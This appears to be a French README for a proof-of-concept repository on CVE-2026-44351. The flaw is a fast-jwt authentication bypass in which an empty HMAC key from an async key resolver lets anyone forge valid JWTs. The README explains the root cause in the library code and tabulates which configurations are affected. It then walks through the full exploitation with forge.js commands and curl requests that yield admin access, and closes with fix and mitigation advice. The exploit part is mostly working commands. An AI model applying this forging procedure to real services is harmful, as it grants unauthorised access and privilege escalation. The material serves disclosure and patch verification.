Preuve de concept pour CVE-2026-44351, un contournement d'authentification dans fast-jwt <6.2.4 où une clé HMAC vide permet aux attaquants de forger des JWT arbitraires acceptés comme valides.
fast-jwtPoC du contournement d'authentification (auth bypass) dans fast-jwt (versions antérieures à
6.2.4) qui permet à tout attaquant non authentifié de falsifier des JWT arbitraires et qu'ils
soient acceptés comme authentiques par l'application cible.
| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391 (Validation incorrecte des clés) / CWE-287 (Authentification incorrecte) / CWE-326 (Force de chiffrement inadéquate) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Vulnérable | fast-jwt < 6.2.4 (vérifié contre 6.2.3) |
| Correctif | [email protected] — rejette les clés HMAC vides avec FAST_JWT_INVALID_KEY |
📄 Documentation technique détaillée (root cause avec code réel, anatomie de l'attaque, analyse du correctif) :
docs/CVE-2026-44351.md
fast-jwt permet de passer une fonction asynchrone comme résolution de clé (key) — le
patron typique lors d'une intégration avec un serveur JWKS :
const verify = createVerifier({
// patron JWKS estandar documentado por la propia libreria
key: async (decoded) => jwks[decoded.header.kid] || '',
})
Lorsque le kid du token entrant n'existe pas, ce patron renvoie ''. fast-jwt
convertit la chaîne vide en un Buffer de longueur zéro (Buffer.alloc(0)), le transmet
à crypto.createSecretKey (Node l'accepte silencieusement) et vérifie la signature du token
en utilisant HMAC avec une clé vide.
Comme HMAC-SHA256(key='', input='<header>.<payload>') est calculable par n'importe qui, l'
attaquant n'a pas besoin de connaître le secret réel : il forge un token avec les claims qu'il
souhaite (sub, admin, roles, scopes, iss, aud, …) et le vérificateur le renvoie comme
authentique.
N'affecte que la voie de résolution de clé asynchrone (fonction). La configuration synchrone
key: ''est correctement rejetée carcreateVerifiercourt-circuite sur les valeurs falsy.
La faille réside dans src/verifier.js. Dans le flux du async key resolver :
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// rama !publicKeyPemMatch && !X509 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // se asigna la familia HMAC
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (sin control de longitud)
verifyToken(currentKey, decoded, validationContext)
})
Et la signature est validée avec src/crypto.js :
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0)) fonctionne, le HMAC de l'input est calculable
par l'attaquant et le token forgé est accepté.
[email protected])| Resolver shape | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ accepte | ✅ accepte | ✅ accepte |
(d, cb) => cb(null, '') | (default) | ✅ accepte | ✅ accepte | ✅ accepte |
async d => keys[d.header.kid] || '' | (default) | ✅ accepte | ✅ accepte | ✅ accepte |
async () => '' | ['HS256','HS384','HS512'] | ✅ accepte | ✅ accepte | ✅ accepte |
async () => '' | ['HS256','RS256'] | ✅ accepte | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
L'attaque s'exécute à la main : le seul artefact est forge.js, qui fabrique le JWT
signé avec une clé vide. L'envoi et la validation se font avec curl.
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target listo
Le Docker ne sert qu'à exécuter la cible vulnérable, pas à exploiter. Le reste de l'attaque est manuel.
Identifiez un JWT réel de l'app (par exemple depuis une requête authentifiée) et inspectez son header/payload sans valider la signature :
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
Points à valider :
kid → l'app résout les clés par kid (possible JWKS).kid cassé avec 401 mais ne présente pas
invalid algo/invalid key, le resolver fait probablement keys[kid] || ''.node forge.js # token por pantalla + comando curl listo
node forge.js -o /tmp/jwt.txt # guarda el token en archivo
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
Le script signe toujours l'en-tête {alg, typ, kid} et le payload choisis en utilisant
HMAC-SHA* avec une clé vide (secret: ""), sans connaître le secret réel de l'app.
Avec le token copié (ou lu depuis le fichier) :
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
Réponse attendue si la cible est vulnérable :
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| Cas | Commande | Résultat |
|---|---|---|
| Sans token | curl -si http://localhost:3000/admin | 401 Unauthorized |
| Token invalide | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| Token forgé | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + accès admin |
Le bypass est reproductible en changeant les claims et en répétant les étapes 2–3 (post-exploitation :
escalade vers role, scopes, un autre sub, etc.).
Comparaison rapide entre la version vulnérable et la version corrigée :
npm run demo # [email protected] -> token forjado ACEPTADO
npm run fixed # [email protected] -> token forjado RECHAZADO (FAST_JWT_INVALID_KEY)
Également en Docker :
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed
[email protected] ou supérieur : prepareKeyOrSecret rejette les clés HMAC
de longueur zéro avec FAST_JWT_INVALID_KEY.''/Buffer.alloc(0) comme fallback :
renvoyer undefined/null et traiter ce cas comme une erreur de résolution de clé.cache: false
pendant la transition : le cache de vérification (par défaut 1000 entrées / 600s TTL)
peut conserver des tokens forgés précédemment acceptés.